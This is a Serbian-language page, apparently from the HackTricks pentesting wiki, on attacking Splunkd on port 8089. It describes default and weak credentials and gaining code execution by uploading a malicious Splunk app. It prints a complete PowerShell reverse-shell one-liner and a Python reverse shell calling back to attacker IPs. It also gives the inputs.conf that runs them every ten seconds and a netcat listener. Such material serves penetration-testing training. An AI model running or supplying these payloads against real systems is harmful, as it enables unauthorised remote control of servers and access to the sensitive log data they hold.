hacktricks/network-services-pentesting/8089-splunkd.md

138 lines
8.6 KiB
Markdown

# 8089 - Pentesting Splunkd
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## **Osnovne informacije**
Splunk je alat za **analizu logova** koji igra ključnu ulogu u **prikupljanju, analiziranju i vizualizaciji podataka**. Iako mu prvobitna svrha nije bila da služi kao alat za **SIEM (Security Information and Event Management)**, stekao je popularnost u oblasti **monitoringa bezbednosti** i **poslovne analitike**.
Splunk implementacije se često koriste za skladištenje **osetljivih podataka** i mogu poslužiti kao **vredan izvor informacija** za potencijalne napadače ako uspeju da kompromituju sistem. **Podrazumevani port:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
**Splunk veb server podrazumevano radi na portu 8000**.
{% endhint %}
## Enumeracija
### Besplatna verzija
Splunk Enterprise probna verzija prelazi u **besplatnu verziju nakon 60 dana**, koja **ne zahteva autentikaciju**. Nije neuobičajeno da sistem administratori instaliraju probnu verziju Splunk-a kako bi je testirali, koja se **kasnije zaboravi**. Ovo će automatski preći u besplatnu verziju koja nema nikakav oblik autentikacije, uvodeći sigurnosnu rupu u okruženje. Neke organizacije mogu odabrati besplatnu verziju zbog ograničenja budžeta, ne shvatajući potpuno posledice nemogućnosti upravljanja korisnicima/ulogama.
### Podrazumevane akreditacije
Na starijim verzijama Splunk-a, podrazumevane akreditacije su **`admin:changeme`**, koje su prikladno prikazane na stranici za prijavljivanje.\
Međutim, **najnovija verzija Splunk-a** postavlja **akreditacije** **tokom procesa instalacije**. Ako podrazumevane akreditacije ne funkcionišu, vredi proveriti uobičajene slabe lozinke poput `admin`, `Welcome`, `Welcome1`, `Password123`, itd.
### Dobijanje informacija
Nakon prijavljivanja na Splunk, možemo **pregledati podatke**, pokrenuti **izveštaje**, kreirati **kontrolne table**, **instalirati aplikacije** iz Splunkbase biblioteke, i instalirati prilagođene aplikacije.\
Takođe možete pokrenuti kod: Splunk ima više načina za **pokretanje koda**, kao što su serverske Django aplikacije, REST endpointi, skriptovani ulazi i skripte za upozorenja. Čest način dobijanja izvršenja koda na udaljenom Splunk serveru je kroz korišćenje skriptovanog ulaza.
Osim toga, pošto se Splunk može instalirati na Windows ili Linux hostovima, skriptovani ulazi mogu biti kreirani da pokreću Bash, PowerShell ili Batch skripte.
### Shodan
* `Splunk build`
## RCE
### Kreiranje prilagođene aplikacije
Prilagođena aplikacija može pokretati **Python, Batch, Bash ili PowerShell skripte**.\
Imajte na umu da **Splunk dolazi sa instaliranim Python-om**, tako da čak i na **Windows** sistemima možete pokrenuti python kod.
Možete koristiti [**ovo**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk paket da nam pomogne. **`bin`** direktorijum u ovom repozitorijumu ima primere za [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) i [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Hajde da prođemo kroz ovo korak po korak.
Da bismo postigli ovo, prvo moramo kreirati prilagođenu Splunk aplikaciju koristeći sledeću strukturu direktorijuma:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
Direktorijum **`bin`** će sadržati sve **skripte koje nameravamo da pokrenemo** (u ovom slučaju, **PowerShell** reverse shell), a podrazumevani direktorijum će imati naš `inputs.conf` fajl. Naš reverse shell će biti **PowerShell jednolinijski:**
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Fajl [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) govori Splunku **koji skript da pokrene** i o bilojim drugim uslovima. Ovde postavljamo aplikaciju kao omogućenu i govorimo Splunku da pokrene skriptu svakih 10 sekundi. Interval je uvek izražen u sekundama, a ulaz (skripta) će se pokrenuti samo ako je ovaj parametar prisutan.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Potreban nam je `.bat` fajl, koji će se pokrenuti kada se aplikacija implementira i izvršiti PowerShell jednolinijski nalog.
Sledeći korak je odabrati `Instaliraj aplikaciju iz fajla` i otpremiti aplikaciju.
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
Pre otpremanja zlonamerne prilagođene aplikacije, pokrenimo slušaoca koristeći Netcat ili [socat](https://linux.die.net/man/1/socat).
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
Na stranici `Upload app`, kliknite na browse, izaberite tarball koji smo ranije kreirali i kliknite na `Upload`. Čim **uploadujemo aplikaciju**, **dobijamo reverse shell** jer će se status aplikacije automatski promeniti na `Enabled`.
#### Linux
Ako bismo imali posla sa **Linux hostom**, morali bismo **urediti Python skriptu `rev.py`** pre nego što kreiramo tarball i uploadujemo prilagođenu zlonamernu aplikaciju. Ostatak procesa bi bio isti, i dobili bismo reverse shell konekciju na naš Netcat listener i krenuli u akciju.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Eskalacija privilegija
Na sledećoj stranici možete pronaći objašnjenje kako se ovaj servis može zloupotrebiti radi eskalacije privilegija i postizanja postojanosti:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## Reference
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>